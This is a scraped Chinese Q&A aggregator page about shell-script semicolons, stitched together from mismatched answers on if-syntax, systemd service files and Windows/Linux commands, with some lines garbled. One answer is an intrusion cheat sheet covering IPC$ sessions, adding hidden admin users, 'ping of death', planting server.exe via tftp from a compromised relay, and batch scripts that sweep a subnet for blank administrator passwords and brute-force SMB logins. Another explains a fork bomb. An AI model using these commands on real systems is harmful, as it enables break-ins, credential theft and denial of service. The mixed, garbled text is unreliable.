當前位置:首頁 » 網頁前端 » shell腳本分號
擴展閱讀
webinf下怎麼引入js 2023-08-31 21:54:13
堡壘機怎麼打開web 2023-08-31 21:54:11

shell腳本分號

發布時間: 2022-09-11 12:50:17

㈠ 關於shell腳本的幾個問題--if和產量替換 if的語法,中括弧後面有沒有分號變數替換字元串

if [ $asd == "asdasd" ];then
fi
這是標准語法

㈡ 我linux系統,執行grep命令後便進入文本輸入狀態,沒法執行腳本。這是怎麼回事

命令沒執行完啊,shell等待你進一步輸入,或者你用分號結尾表示一個命令輸入完畢

㈢ 想在DOS中殺毒 卻不知道這么弄 哪位高手教教

net use \\ip\ipc$ " " /user:" " 建立IPC空鏈接
net use \\ip\ipc$ "密碼" /user:"用戶名" 建立IPC非空鏈接
net use h: \\ip\c$ "密碼" /user:"用戶名" 直接登陸後映射對方C:到本地為H:
net use h: \\ip\c$ 登陸後映射對方C:到本地為H:
net use \\ip\ipc$ /del 刪除IPC鏈接
net use h: /del 刪除映射對方到本地的為H:的映射
net user 用戶名 密碼 /add 建立用戶
net user guest /active:yes 激活guest用戶
net user 查看有哪些用戶
net user 帳戶名 查看帳戶的屬性
net localgroup administrators 用戶名 /add 把「用戶」添加到管理員中使其具有管理員許可權,注意:administrator後加s用復數
net start 查看開啟了哪些服務
net start 服務名 開啟服務;(如:net start telnet, net start schele)
net stop 服務名 停止某服務
net time \\目標ip 查看對方時間
net time \\目標ip /set 設置本地計算機時間與「目標IP」主機的時間同步,加上參數/yes可取消確認信息
net view 查看本地區域網內開啟了哪些共享
net view \\ip 查看對方區域網內開啟了哪些共享
net config 顯示系統網路設置
net logoff 斷開連接的共享
net pause 服務名 暫停某服務
net send ip "文本信息" 向對方發信息
net ver 區域網內正在使用的網路連接類型和信息
net share 查看本地開啟的共享
net share ipc$ 開啟ipc$共享
net share ipc$ /del 刪除ipc$共享
net share c$ /del 刪除C:共享
net user guest 12345 用guest用戶登陸後用將密碼改為12345
net password 密碼 更改系統登陸密碼
netstat -a 查看開啟了哪些埠,常用netstat -an
netstat -n 查看埠的網路連接情況,常用netstat -an
netstat -v 查看正在進行的工作
netstat -p 協議名 例:netstat -p tcq/ip 查看某協議使用情況(查看tcp/ip協議使用情況)
netstat -s 查看正在使用的所有協議使用情況
nbtstat -A ip 對方136到139其中一個埠開了的話,就可查看對方最近登陸的用戶名(03前的為用戶名)-注意:參數-A要大寫
tracert -參數 ip(或計算機名) 跟蹤路由(數據包),參數:「-w數字」用於設置超時間隔。
ping ip(或域名) 向對方主機發送默認大小為32位元組的數據,參數:「-l[空格]數據包大小」;「-n發送數據次數」;「-t」指一直ping。
ping -t -l 65550 ip 死亡之ping(發送大於64K的文件並一直ping就成了死亡之ping)
ipconfig (winipcfg) 用於windows NT及XP(windows 95 98)查看本地ip地址,ipconfig可用參數「/all」顯示全部配置信息
tlist -t 以樹行列表顯示進程(為系統的附加工具,默認是沒有安裝的,在安裝目錄的Support/tools文件夾內)
kill -F 進程名 加-F參數後強制結束某進程(為系統的附加工具,默認是沒有安裝的,在安裝目錄的Support/tools文件夾內)
del -F 文件名 加-F參數後就可刪除只讀文件,/AR、/AH、/AS、/AA分別表示刪除只讀、隱藏、系統、存檔文件,/A-R、/A-H、/A-S、/A-A表示刪除除只讀、隱藏、系統、存檔以外的文件。例如「DEL/AR *.*」表示刪除當前目錄下所有隻讀文件,「DEL/A-S *.*」表示刪除當前目錄下除系統文件以外的所有文件

del /S /Q 目錄 或用:rmdir /s /Q 目錄 /S刪除目錄及目錄下的所有子目錄和文件。同時使用參數/Q 可取消刪除操作時的系統確認就直接刪除。(二個命令作用相同)
move 盤符\路徑\要移動的文件名 存放移動文件的路徑\移動後文件名 移動文件,用參數/y將取消確認移動目錄存在相同文件的提示就直接覆蓋
fc one.txt two.txt > 3st.txt 對比二個文件並把不同之處輸出到3st.txt文件中,"> "和"> >" 是重定向命令
at id號 開啟已注冊的某個計劃任務
at /delete 停止所有計劃任務,用參數/yes則不需要確認就直接停止
at id號 /delete 停止某個已注冊的計劃任務
at 查看所有的計劃任務
at \\ip time 程序名(或一個命令) /r 在某時間運行對方某程序並重新啟動計算機
finger username @host 查看最近有哪些用戶登陸
telnet ip 埠 遠和登陸伺服器,默認埠為23
open ip 連接到IP(屬telnet登陸後的命令)
telnet 在本機上直接鍵入telnet 將進入本機的telnet
路徑\文件名1 路徑\文件名2 /y 復制文件1到指定的目錄為文件2,用參數/y就同時取消確認你要改寫一份現存目錄文件
c:\srv.exe \\ip\admin$ 復制本地c:\srv.exe到對方的admin下
cppy 1st.jpg/b+2st.txt/a 3st.jpg 將2st.txt的內容藏身到1st.jpg中生成3st.jpg新的文件,註:2st.txt文件頭要空三排,參數:/b指二進制文件,/a指ASCLL格式文件
$\svv.exe">\\ip\admin$\svv.exe c:\ 或:\\ip\admin$\*.* 復制對方admini$共享下的srv.exe文件(所有文件)至本地C:
x 要復制的文件或目錄樹 目標地址\目錄名 復制文件和目錄樹,用參數/Y將不提示覆蓋相同文件
tftp -i 自己IP(用肉機作跳板時這用肉機IP) get server.exe c:\server.exe 登陸後,將「IP」的server.exe下載到目標主機c:\server.exe 參數:-i指以二進制模式傳送,如傳送exe文件時用,如不加-i 則以ASCII模式(傳送文本文件模式)進行傳送
tftp -i 對方IP put c:\server.exe 登陸後,上傳本地c:\server.exe至主機
ftp ip 埠 用於上傳文件至伺服器或進行文件操作,默認埠為21。bin指用二進制方式傳送(可執行文件進);默認為ASCII格式傳送(文本文件時)
route print 顯示出IP路由,將主要顯示網路地址Network addres,子網掩碼Netmask,網關地址Gateway addres,介面地址Interface
arp 查看和處理ARP緩存,ARP是名字解析的意思,負責把一個IP解析成一個物理性的MAC地址。arp -a將顯示出全部信息
start 程序名或命令 /max 或/min 新開一個新窗口並最大化(最小化)運行某程序或命令
mem 查看cpu使用情況
attrib 文件名(目錄名) 查看某文件(目錄)的屬性
attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存檔,只讀,系統,隱藏 屬性;用+則是添加為某屬性
dir 查看文件,參數:/Q顯示文件及目錄屬系統哪個用戶,/T:C顯示文件創建時間,/T:A顯示文件上次被訪問時間,/T:W上次被修改時間
date /t 、 time /t 使用此參數即「DATE/T」、「TIME/T」將只顯示當前日期和時間,而不必輸入新日期和時間
set 指定環境變數名稱=要指派給變數的字元 設置環境變數
set 顯示當前所有的環境變數
set p(或其它字元) 顯示出當前以字元p(或其它字元)開頭的所有環境變數
pause 暫停批處理程序,並顯示出:請按任意鍵繼續....
if 在批處理程序中執行條件處理(更多說明見if命令及變數)
goto 標簽 將cmd.exe導向到批處理程序中帶標簽的行(標簽必須單獨一行,且以冒號打頭,例如:「:start」標簽)
call 路徑\批處理文件名 從批處理程序中調用另一個批處理程序 (更多說明見call /?)
for 對一組文件中的每一個文件執行某個特定命令(更多說明見for命令及變數)
echo on或off 打開或關閉echo,僅用echo不加參數則顯示當前echo設置
echo 信息 在屏幕上顯示出信息
echo 信息 >> pass.txt 將"信息"保存到pass.txt文件中
findstr "Hello" aa.txt 在aa.txt文件中尋找字元串hello
find 文件名 查找某文件
title 標題名字 更改CMD窗口標題名字
color 顏色值 設置cmd控制台前景和背景顏色;0=黑、1=藍、2=綠、3=淺綠、4=紅、5=紫、6=黃、7=白、8=灰、9=淡藍、A=淡綠、B=淡淺綠、C=淡紅、D=淡紫、E=淡黃、F=亮白
prompt 名稱 更改cmd.exe的顯示的命令提示符(把C:\、D:\統一改為:EntSky\ )
print 文件名 列印文本文件

ver 在DOS窗口下顯示版本信息
winver 彈出一個窗口顯示版本信息(內存大小、系統版本、補丁版本、計算機名)
format 盤符 /FS:類型 格式化磁碟,類型:FAT、FAT32、NTFS ,例:Format D: /FS:NTFS
md 目錄名 創建目錄
replace 源文件 要替換文件的目錄 替換文件
ren 原文件名 新文件名 重命名文件名
tree 以樹形結構顯示出目錄,用參數-f 將列出第個文件夾中文件名稱
type 文件名 顯示文本文件的內容
more 文件名 逐屏顯示輸出文件
doskey 要鎖定的命令=字元
doskey 要解鎖命令= 為DOS提供的鎖定命令(編輯命令行,重新調用win2k命令,並創建宏)。如:鎖定dir命令:doskey dir=entsky (不能用doskey dir=dir);解鎖:doskey dir=
taskmgr 調出任務管理器
chkdsk /F D: 檢查磁碟D並顯示狀態報告;加參數/f並修復磁碟上的錯誤
tlntadmn telnt服務admn,鍵入tlntadmn選擇3,再選擇8,就可以更改telnet服務默認埠23為其它任何埠
exit 退出cmd.exe程序或目前,用參數/B則是退出當前批處理腳本而不是cmd.exe
path 路徑\可執行文件的文件名 為可執行文件設置一個路徑。
cmd 啟動一個win2K命令解釋窗口。參數:/eff、/en 關閉、開啟命令擴展;更我詳細說明見cmd /?
regedit /s 注冊表文件名 導入注冊表;參數/S指安靜模式導入,無任何提示;
regedit /e 注冊表文件名 導出注冊表
cacls 文件名 參數 顯示或修改文件訪問控制列表(ACL)——針對NTFS格式時。參數:/D 用戶名:設定拒絕某用戶訪問;/P 用戶名:perm 替換指定用戶的訪問許可權;/G 用戶名:perm 賦予指定用戶訪問許可權;Perm 可以是: N 無,R 讀取, W 寫入, C 更改(寫入),F 完全控制;例:cacls D:\test.txt /D pub 設定d:\test.txt拒絕pub用戶訪問。
cacls 文件名 查看文件的訪問用戶許可權列表
REM 文本內容 在批處理文件中添加註解
netsh 查看或更改本地網路配置情況

IIS服務命令:
iisreset /reboot 重啟win2k計算機(但有提示系統將重啟信息出現)
iisreset /start或stop 啟動(停止)所有Internet服務
iisreset /restart 停止然後重新啟動所有Internet服務
iisreset /status 顯示所有Internet服務狀態
iisreset /enable或disable 在本地系統上啟用(禁用)Internet服務的重新啟動
iisreset /rebootonerror 當啟動、停止或重新啟動Internet服務時,若發生錯誤將重新開機
iisreset /noforce 若無法停止Internet服務,將不會強制終止Internet服務
iisreset /timeout Val在到達逾時間(秒)時,仍未停止Internet服務,若指定/rebootonerror參數,則電腦將會重新開機。預設值為重新啟動20秒,停止60秒,重新開機0秒。
FTP 命令: (後面有詳細說明內容)
ftp的命令行格式為:
ftp -v -d -i -n -g[主機名] -v 顯示遠程伺服器的所有響應信息。
-d 使用調試方式。
-n 限制ftp的自動登錄,即不使用.netrc文件。
-g 取消全局文件名。
help [命令] 或 ?[命令] 查看命令說明
bye 或 quit 終止主機FTP進程,並退出FTP管理方式.
pwd 列出當前遠端主機目錄
put 或 send 本地文件名 [上傳到主機上的文件名] 將本地一個文件傳送至遠端主機中
get 或 recv [遠程主機文件名] [下載到本地後的文件名] 從遠端主機中傳送至本地主機中
mget [remote-files] 從遠端主機接收一批文件至本地主機
mput local-files 將本地主機中一批文件傳送至遠端主機
dir 或 ls [remote-directory] [local-file] 列出當前遠端主機目錄中的文件.如果有本地文件,就將結果寫至本地文件
ascii 設定以ASCII方式傳送文件(預設值)
bin 或 image 設定以二進制方式傳送文件
bell 每完成一次文件傳送,報警提示
cp 返回上一級目錄
close 中斷與遠程伺服器的ftp會話(與open對應)
open host[port] 建立指定ftp伺服器連接,可指定連接埠
delete 刪除遠端主機中的文件
mdelete [remote-files] 刪除一批文件
mkdir directory-name 在遠端主機中建立目錄
rename [from] [to] 改變遠端主機中的文件名
rmdir directory-name 刪除遠端主機中的目錄
status 顯示當前FTP的狀態
system 顯示遠端主機系統類型
user user-name [password] [account] 重新以別的用戶名登錄遠端主機
open host [port] 重新建立一個新的連接
prompt 交互提示模式
macdef 定義宏命令
lcd 改變當前本地主機的工作目錄,如果預設,就轉到當前用戶的HOME目錄
chmod 改變遠端主機的文件許可權
case 當為ON時,用MGET命令拷貝的文件名到本地機器中,全部轉換為小寫字母
cd remote-dir 進入遠程主機目錄
cp 進入遠程主機目錄的父目錄
! 在本地機中執行交互shell,exit回到ftp環境,如!ls*.zip

MYsql 命令:
mysql -h主機地址 -u用戶名 -p密碼 連接MYSQL;如果剛安裝好MYSQL,超級用戶root是沒有密碼的。
(例:mysql -h110.110.110.110 -Uroot -P123456
注:u與root可以不用加空格,其它也一樣)
exit 退出MYSQL
mysqladmin -u用戶名 -p舊密碼 password 新密碼 修改密碼
grant select on 資料庫.* to 用戶名@登錄主機 identified by \"密碼\"; 增加新用戶。(注意:和上面不同,下面的因為是MYSQL環境中的命令,所以後面都帶一個分號作為命令結束符)
show databases; 顯示資料庫列表。剛開始時才兩個資料庫:mysql和test。mysql庫很重要它裡面有MYSQL的系統信息,我們改密碼和新增用戶,實際上就是用這個庫進行操作。
use mysql;
show tables; 顯示庫中的數據表
describe 表名; 顯示數據表的結構
create database 庫名; 建庫
use 庫名;
create table 表名 (欄位設定列表); 建表
drop database 庫名;
drop table 表名; 刪庫和刪表
delete from 表名; 將表中記錄清空
select * from 表名; 顯示表中的記錄
mysqlmp --opt school>school.bbb 備份資料庫:(命令在DOS的\\mysql\\bin目錄下執行);注釋:將資料庫school備份到school.bbb文件,school.bbb是一個文本文件,文件名任取,打開看看你會有新發現。
win2003系統下新增命令(實用部份):
shutdown /參數 關閉或重啟本地或遠程主機。
參數說明:/S 關閉主機,/R 重啟主機, /T 數字 設定延時的時間,范圍0~180秒之間, /A取消開機,/M //IP 指定的遠程主機。
例:shutdown /r /t 0 立即重啟本地主機(無延時)
taskill /參數 進程名或進程的pid 終止一個或多個任務和進程。
參數說明:/PID 要終止進程的pid,可用tasklist命令獲得各進程的pid,/IM 要終止的進程的進程名,/F 強制終止進程,/T 終止指定的進程及他所啟動的子進程。
tasklist 顯示當前運行在本地和遠程主機上的進程、服務、服務各進程的進程標識符(PID)。
參數說明:/M 列出當前進程載入的dll文件,/SVC 顯示出每個進程對應的服務,無參數時就只列出當前的進程。

Linux系統下基本命令: 要區分大小寫
uname 顯示版本信息(同win2K的 ver)
dir 顯示當前目錄文件,ls -al 顯示包括隱藏文件(同win2K的 dir)
pwd 查詢當前所在的目錄位置
cd cd ..回到上一層目錄,注意cd 與..之間有空格。cd /返回到根目錄。
cat 文件名 查看文件內容
cat >abc.txt 往abc.txt文件中寫上內容。
more 文件名 以一頁一頁的方式顯示一個文本文件。
cp 復制文件
mv 移動文件
rm 文件名 刪除文件,rm -a 目錄名刪除目錄及子目錄
mkdir 目錄名 建立目錄
rmdir 刪除子目錄,目錄內沒有文檔。
chmod 設定檔案或目錄的存取許可權
grep 在檔案中查找字元串
diff 檔案文件比較
find 檔案搜尋
date 現在的日期、時間
who 查詢目前和你使用同一台機器的人以及Login時間地點
w 查詢目前上機者的詳細資料
whoami 查看自己的帳號名稱
groups 查看某人的Group
passwd 更改密碼
history 查看自己下過的命令
ps 顯示進程狀態
kill 停止某進程
gcc 黑客通常用它來編譯C語言寫的文件
su 許可權轉換為指定使用者
telnet IP telnet連接對方主機(同win2K),當出現bash$時就說明連接成功。
ftp ftp連接上某伺服器(同win2K)

附:批處理命令與變數

1:for命令及變數 基本格式:
FOR /參數 %variable IN (set) DO command [command_parameters] %variable:指定一個單一字母可替換的參數,如:%i ,而指定一個變數則用:%%i ,而調用變數時用:%i% ,變數是區分大小寫的(%i 不等於 %I)。
批處理每次能處理的變數從%0—%9共10個,其中%0默認給批處理文件名使用,%1默認為使用此批處理時輸入的的第一個值,同理:%2—%9指輸入的第2-9個值;例:net use \\ip\ipc$ pass /user:user 中ip為%1,pass為%2 ,user為%3

(set):指定一個或一組文件,可使用通配符,如:(D:\user.txt)和(1 1 254)(1 -1 254),{「(1 1 254)」第一個"1"指起始值,第二個"1"指增長量,第三個"254"指結束值,即:從1到254;「(1 -1 254)」說明:即從254到1}

command:指定對第個文件執行的命令,如:net use命令;如要執行多個命令時,命令這間加:& 來隔開
command_parameters:為特定命令指定參數或命令行開關

IN (set):指在(set)中取值;DO command :指執行command

參數:/L 指用增量形式{(set)為增量形式時};/F 指從文件中不斷取值,直到取完為止{(set)為文件時,如(d:\pass.txt)時}。
用法舉例:
@echo off
echo 用法格式:test.bat *.*.* > test.txt

for /L %%G in (1 1 254) do echo %1.%%G >>test.txt & net use \\%1.%%G /user:administrator | find "命令成功完成" >>test.txt
存為test.bat 說明:對指定的一個C類網段的254個IP依次試建立administrator密碼為空的IPC$連接,如果成功就把該IP存在test.txt中。

/L指用增量形式(即從1-254或254-1);輸入的IP前面三位:*.*.*為批處理默認的 %1;%%G 為變數(ip的最後一位);& 用來隔開echo 和net use 這二個命令;| 指建立了ipc$後,在結果中用find查看是否有"命令成功完成"信息;%1.%%G 為完整的IP地址;(1 1 254) 指起始值,增長量,結止值。
@echo off
echo 用法格式:ok.bat ip
FOR /F %%i IN (D:\user.dic) DO smb.exe %1 %%i D:\pass.dic 200
存為:ok.exe 說明:輸入一個IP後,用字典文件d:\pass.dic來暴解d:\user.dic中的用戶密碼,直到文件中值取完為止。%%i為用戶名;%1為輸入的IP地址

㈣ powershell中如何執行bat文件

1、打開控制面板,在搜索欄中輸入任務計劃,點擊如圖的計劃任務的按鈕,打開該功能。

㈤ shell腳本編程出現問題syntax error:"then" unexpected(expecteing";;")

提示報錯的位置是最後一行,不能解析;;,你的最後一行有兩個;號,不能解析,去掉即可,另外,shell腳本每行結束不用以;為結尾的,直接換行即可

㈥ 誰幫忙解釋這個shell腳本的含義: :(){:|:&};:

我把它寫成這樣你明白了吧
:() {
: | : &
}
:

:是一個shell函數的名稱(只是這里取的比較特別而已),這個函數在自身內對自己遞歸條用,並把輸出遞給另一進程(也是調用這個函數的)輸入。

最後調用:這個函數

現在你明白了吧 這樣會造成系統資循環創建進程,直至所有資源使用完

㈦ 如何編寫 Systemd 服務文件

一種以 .service 結尾的單元(unit)配置文件,用於控制由 systemd 控制或監視的進程。簡單說,用於後台以守護精靈(daemon)的形式運行程序。
編寫 Systemd service
基本結構
Systemd 服務的內容主要分為三個部分,控制單元(unit)的定義、服務(service)的定義、以及安裝部分。
和 SysV init 腳本的差異
過去,*nix 服務(守護精靈)都是用 SysV 啟動腳本啟動的。SysV 啟動腳本就是 Bash 腳本,通常在 /etc/init.d 目錄下,可以被一些標准參數如 start,stop,restart 等調用。啟動該腳本通常意味著啟動一個後台守護精靈(daemon)。shell 腳本常見的缺點就是,慢、可讀性不強、太詳細又很傲嬌。雖然它們很靈活(畢竟那就是代碼呀),但是有些事只用腳本做還是顯得太困難了,比如安排並列執行、正確監視進程,或者配置詳細執行環境。
SysV 啟動腳本還有一個硬傷就是,臃腫,重復代碼太多。因為上述的「標准參數」必須要靠各個腳本來實現,而且各個腳本之間的實現都差不多(根本就是從一個 skeleton 骨架來的)。而 Systemd 則進行了統一實現,也就是說在 Systemd service 中完全就不需要、也看不到這部分內容。這使得 Systemd 服務非常簡明易讀,例如 NetworkManager 這一重量級程序的服務,算上注釋一共才有 19 行。而它相應的 SysV 啟動腳本頭 100 行連標准參數都沒實現完。
Systemd 兼容 Sysv 啟動腳本,這也是為什麼這么久我們仍然需要一個 systemd-sysvinit 軟體包的原因。但是根據以上理由,最好針對所有您安裝的守護精靈都使用原生 Systemd 服務來啟動。另外,Systemd 服務可無縫用於所有使用 Systemd 的發行版,意思是 Arch 下編寫的腳本拿過來依然能夠使用。
通常來說,上游應該在發布源代碼的同時發布 Systemd 服務,但如果沒發布,你可以對照本教學來為它們寫一個並貢獻給它們。
Systemd 語法
Systemd 語法和 .desktop 文件的語法比較像,也比較類似 Windows 下的 .ini 文件,因此無論對於打包者還是最終用戶都是非常容易上手的。
主要格式請見下面的小例子,這里需要說明三點:
Systemd 單元文件中的以 「#」 開頭的行後面的內容會被認為是注釋
Systemd 下的布爾值,1、yes、on、true 都是開啟,0、no、off、false 都是關閉。註:
僅限於 Systemd 文件,比如:
RemainOnExit=yes
並不適用於該文件中嵌入的 shell 語句,比如:
ExecStartPre=/usr/bin/test "x${NETWORKMANAGER}" = xyes
這里的 yes 就不能替換。因為等號後面是一條嵌入的 shell 語句。
Systemd 下的時間單位默認是秒,所以要用毫秒(ms)分鍾(m)等請顯式說明。
一個小例子
NetworkManager 的 Systemd service:
[Unit]
Description=Network Manager
After=syslog.target
Wants=remote-fs.target network.target
[Service]
Type=dbus
BusName=org.freedesktop.NetworkManager
ExecStart=/usr/sbin/NetworkManager --no-daemon
EnvironmentFile=/etc/sysconfig/network/config
ExecStartPre=/usr/bin/test "x${NETWORKMANAGER}" = xyes
# Suppress stderr to eliminate plicated messages in syslog. NM calls openlog()
# with LOG_PERROR when run in foreground. But systemd redirects stderr to
# syslog by default, which results in logging each message twice.
StandardError=null
[Install]
WantedBy=multi-user.target
Also=NetworkManager-wait-online.service
以下我們以編寫 He.net IPv6 單元文件為例。
定義控制單元 [Unit]
在 Systemd 中,所有引導過程中 Systemd 要控制的東西都是一個單元。Systemd 單元類型有:
系統服務
套接字(socket)
設備
掛載點
自動掛載點
SWAP 文件
分區
啟動對象(startup target)
文件系統路徑
定時器
簡單說,Systemd 把 *nix 里那些分散開發因此宏觀看變成一團雜碎的東西重新統一命名了。單元名就是你寫的這個 .service 文件的名稱。但不只有 .service 後綴的文件才可以是一個單元,單元還可以有 .target, .path 等後綴,具體可以去 /usr/lib/systemd/system 下了解。但那種後綴要麼由 Systemd 上游開發者寫好隨 systemd 軟體包分發,要麼由我們的 Base:system 團隊添加,一般用戶是不太需要寫其它後綴的控制單元的。
我們先要聲明我們在定義控制單元:
[Unit]
單元名稱就不用寫了,我們要寫一條單元描述:
[Unit]
Description=Daemon to start He.net IPv6
下面我們要講解一下 Systemd 是如何控制各個單元之間的關系的。它和 RPM 的 specfile 的依賴關系控制的語法非常相似(畢竟都是紅帽一家的):
Requires: 這個單元啟動了,那麼它「需要」的單元也會被啟動; 它「需要」的單元被停止了,它自己也活不了。但是請注意,這個設定並不能控制某單元與它「需要」的單元的啟動順序(啟動順序是另外控制的),即 Systemd 不是先啟動 Requires 再啟動本單元,而是在本單元被激活時,並行啟動兩者。於是會產生爭分奪秒的問題,如果 Requires 先啟動成功,那麼皆大歡喜; 如果 Requires 啟動得慢,那本單元就會失敗(Systemd 沒有自動重試)。所以為了系統的健壯性,不建議使用這個標記,而建議使用 Wants 標記。可以使用多個 Requires。
RequiresOverridable:跟 Requires 很像。但是如果這條服務是由用戶手動啟動的,那麼 RequiresOverridable 後面的服務即使啟動不成功也不報錯。跟 Requires 比增加了一定容錯性,但是你要確定你的服務是有等待功能的。另外,如果不由用戶手動啟動而是隨系統開機啟動,那麼依然會有 Requires 面臨的問題。
Requisite:強勢版本的 Requires。要是這里需要的服務啟動不成功,那本單元文件不管能不能檢測等不能等待都立刻就會失敗。
Wants:推薦使用。本單元啟動了,它「想要」的單元也會被啟動。但是啟動不成功,對本單元沒有影響。
Conflicts:一個單元的啟動會停止與它「沖突」的單元,反之亦然。注意這里和後面的啟動順序是「正交」的:
兩個相互沖突的單元被同時啟動,要麼兩個都啟動不了(兩者都是第三個單元的 Requires),要麼啟動一個(有一個是第三個單元的 Requires,另一個不是),不是 Requires 的那個會被停止。要是兩者都不是任何一個單元的 Requires,那麼 Conflicts 別的那個單元優先啟動,被 Conflicts 的後啟動,要是互相寫了,那麼兩個都啟動不了。
OnFailure:很明顯,如果本單元失敗了,那麼啟動什麼單元作為折衷。
好了,現在我們來想像一下,我們的單元(Ipv6 隧道)應該想要什麼呢?很顯然是一個連通著的網路。有一個 Systemd 默認提供的對象叫做 network-online.target(默認的 target 列表可見 systemd.special,必看,因為你大多數時候 Wants 的都是一個固定的系統狀態而不是其它 systemd 服務),正正好好能夠提供我們需要的環境。於是:
[Unit]
Description=Daemon to start He.net IPv6
Wants=network-online.target
下面我們需要定義一下服務啟動順序,不然連 / 目錄所在的硬碟都沒掛載就開始幹活,上哪兒找程序去呀。Systemd 服務啟動順序主要使用以下兩個標記定義的:
Before/After:要是一個服務 Before 另一個服務,那麼在並行啟動時(Systemd 總是用進程 0 並行啟動所有東西,然後通過這兩個標記來二次等待排序),那另一個服務這時就會等這個服務先啟動並返回狀態,注意是先啟動而不是啟動成功,因為失敗也是一種狀態,一定要成功才啟動另一個服務是通過依賴關系定義的。反之 After 亦然。
下面說下「關機」(可以是掛起,這時候有些服務是依然在跑的,比如網路喚醒)時候的順序:如果兩個服務都是要關掉的,Before 是先關自己,After 是先關別人,這很好理解; 但如果一個服務是要關,而另一個是要開的,那麼不管 Before/After 寫了什麼,總是優先關閉而不是開始。也就是比如服務 A Before 服務 B,但是服務 B 是在關,而服務 A 是在 restart,那麼服務 B 的順序在服務 A 的前面。
好啦,我們的單元應該在什麼的前後啟動呢?它不需要一定在什麼服務前面跑起來,這不像 ifup 和 dhcp,網路起不來獲取 ip 肯定沒用。我們只需要有網就可以了。「有網」在 Systemd 中也是由一個默認 target:network.target 提供的,於是我們的控制單元就定義好了:
[Unit]
Description=Daemon to start He.net IPv6
Wants=network-online.target
After=network.target
定義服務本體 [service]
在定義完了 Systemd 用來識別服務的單元後,我們來定義服務本體,依然是聲明:
[Service]
然後是聲明服務類型:
[Service]
Type=
Systemd 支持的服務類型有以下幾類:
simple 默認,這是最簡單的服務類型。意思就是說啟動的程序就是主體程序,這個程序要是退出那麼一切皆休。這在圖形界面里非常好理解,我打開 Amarok,退出它就沒有了。但是命令行的大部分程序都不會那麼設計,因為命令行的一個最基本原則就是一個好的程序不能獨占命令行窗口。所以輸入命令,回車,接著馬上返回給你提示符,但程序已經執行了。所以只有少數程序比如 python xxx.py 還使用這種方式。在這種類型下面,如果你的主程序是要響應其它程序的,那麼你的通信頻道應該在啟動本服務前就設好(套接字等),因此這種類型的服務,Systemd 運行它後會立刻就運行下面的服務(需要它的服務),這時沒有套接字後面的服務會失敗,寫 After 也沒用,因為 simple 類型不存在主進程退出的情況也就不存在有返回狀態的情況,所以它一旦啟動就認為是成功的,除非沒起來。
forking 標准 Unix Daemon 使用的啟動方式。啟動程序後會調用 fork() 函數,把必要的通信頻道都設置好之後父進程退出,留下守護精靈的子進程。你要是使用的這種方式,最好也指定下 PIDFILE=,不要讓 Systemd 去猜,非要猜也可以,把 GuessMainPID 設為 yes。
判斷是 forking 還是 simple 類型非常簡單,命令行里運行下你的程序,持續佔用命令行要按 Ctrl + C 才可以的,就不會是 forking 類型。
創建 PIDFILE 是你為它寫服務的程序的任務而不是 Systemd 的功能,甚至也不是 Sysvinit 腳本的功能。參考 startproc創建pid file的問題了解進一步的知識。因此如果你的程序確實是 forking 類型,但就是沒實現創建 PIDFILE 的功能,那麼建議使用 ExecStartPost= 結合 shell 命令來手動抓取進程編號並寫到 /var/run/xxx.pid。
oneshot 顧名思義,打一槍換一個地方。所以這種服務類型就是啟動,完成,沒進程了。常見比如你設置網路,ifup eth0 up,就是一次性的,不存在 ifup 的子進程(forking 那樣),也不存在主進程(simple 那樣),它運行完成後便了無痕跡。因為這類服務運行完就沒進程了,我們經常會需要 RemainAfterExit=yes。後面配置的意思是說,即使沒進程了,我們也要 Systemd 認為該服務是存在並成功了的。所以如果你有一個這樣的服務,服務啟動後,你再去 ifup eth0 up,這時你再看服務,依然顯示是 running 的。因為只要在執行那條一次性命令的時候沒出錯,那麼它就永遠認為它是成功並一直存在的,直到你關閉服務。
dbus 這個程序啟動時需要獲取一塊 DBus 空間,所以需要和 BusName= 一起用。只有它成功獲得了 DBus 空間,依賴它的程序才會被啟動。
一般人也就能用到上面四個,還有兩種少見的類型:
notify 這個程序在啟動完成後會通過 sd_notify 發送一個通知消息。所以還需要配合 NotifyAccess 來讓 Systemd 接收消息,後者有三個級別:none,所有消息都忽略掉; main,只接受我們程序的主進程發過去的消息; all,我們程序的所有進程發過去的消息都算。NotifyAccess 要是不寫的話默認是 main。
idle 這個程序要等它裡面調度的全部其它東西都跑完才會跑它自己。比如你 ExecStart 的是個 shell 腳本,裡面可能跑了一些別的東西,如果不這樣的話,那很可能別的東西的控制台輸出里會多一個「啟動成功」這樣的 Systemd 消息。
由於 He.net 的 IPv6 是用 iproute2 的 ip 命令來弄的,所以是一個 oneshot 一次性服務。
[Service]
Type=oneshot
RemainAfterExit=yes
接下來要設置 ExecStart, ExecStop。如果程序支持的話,你還可以去設置 ExecReload,Restart 等。注意,這里設置的是它們 Reload/Restart 的方式,但並不代表沒有它們 Systemd 就不能完成比如 systemctl restart xxx.service 這樣的任務,程序有支持自然最好,程序不支持那就先 stop 再 start 咯。同樣有特殊要求的時候你也可以去設置比如 ExecStartPre/ExecStartPost,RestartSec,TimeoutSec 等其它東西,參考鏈接里都有使用方法。
這里要特殊講一下 ExecStart:
如果你服務的類型不是 oneshot,那麼它只可以接受一個命令,參數不限,比如你先 ip tunnel create 再 ip tunnel0 up,那是兩個 ip 命令,如果你不是 oneshot 類型這樣是不行的。
如果有多條命令(oneshot 類型),命令之間以分號 ; 分隔,跨行可用反斜杠 \。
除非你的服務類型是 forking,否則你在這里輸入的命令都會被認為是主進程,不管它是不是。
於是我們的 [Service] 就寫好了:
[Service]
Type=oneshot
RemainAfterExit=yes
ExecStart=/usr/sbin/ip tunnel add he-ipv6 mode sit remote 66.220.18.42 local 108.170.7.158 ttl 255 ; \
/usr/sbin/ip link set he-ipv6 up ; \
/usr/sbin/ip addr add 2001:470:c:1184::2/64 dev he-ipv6 ; \
/usr/sbin/ip route add ::/0 dev he-ipv6 ; \
/usr/sbin/ip -6 addr
ExecStop=/usr/sbin/ip route delete ::/0 dev he-ipv6 ; \
/usr/sbin/ip -6 addr del 2001:470:c:1184::2/64 dev he-ipv6 ; \
/usr/sbin/ip link set he-ipv6 down ; \
/usr/sbin/ip tunnel del he-ipv6
安裝服務 [install]
這可能有點繞,我服務文件都弄好了,放到 /etc/systemd/system(供系統管理員和用戶使用),/usr/lib/systemd/system(供發行版打包者使用)了,不就是安裝好了嘛。
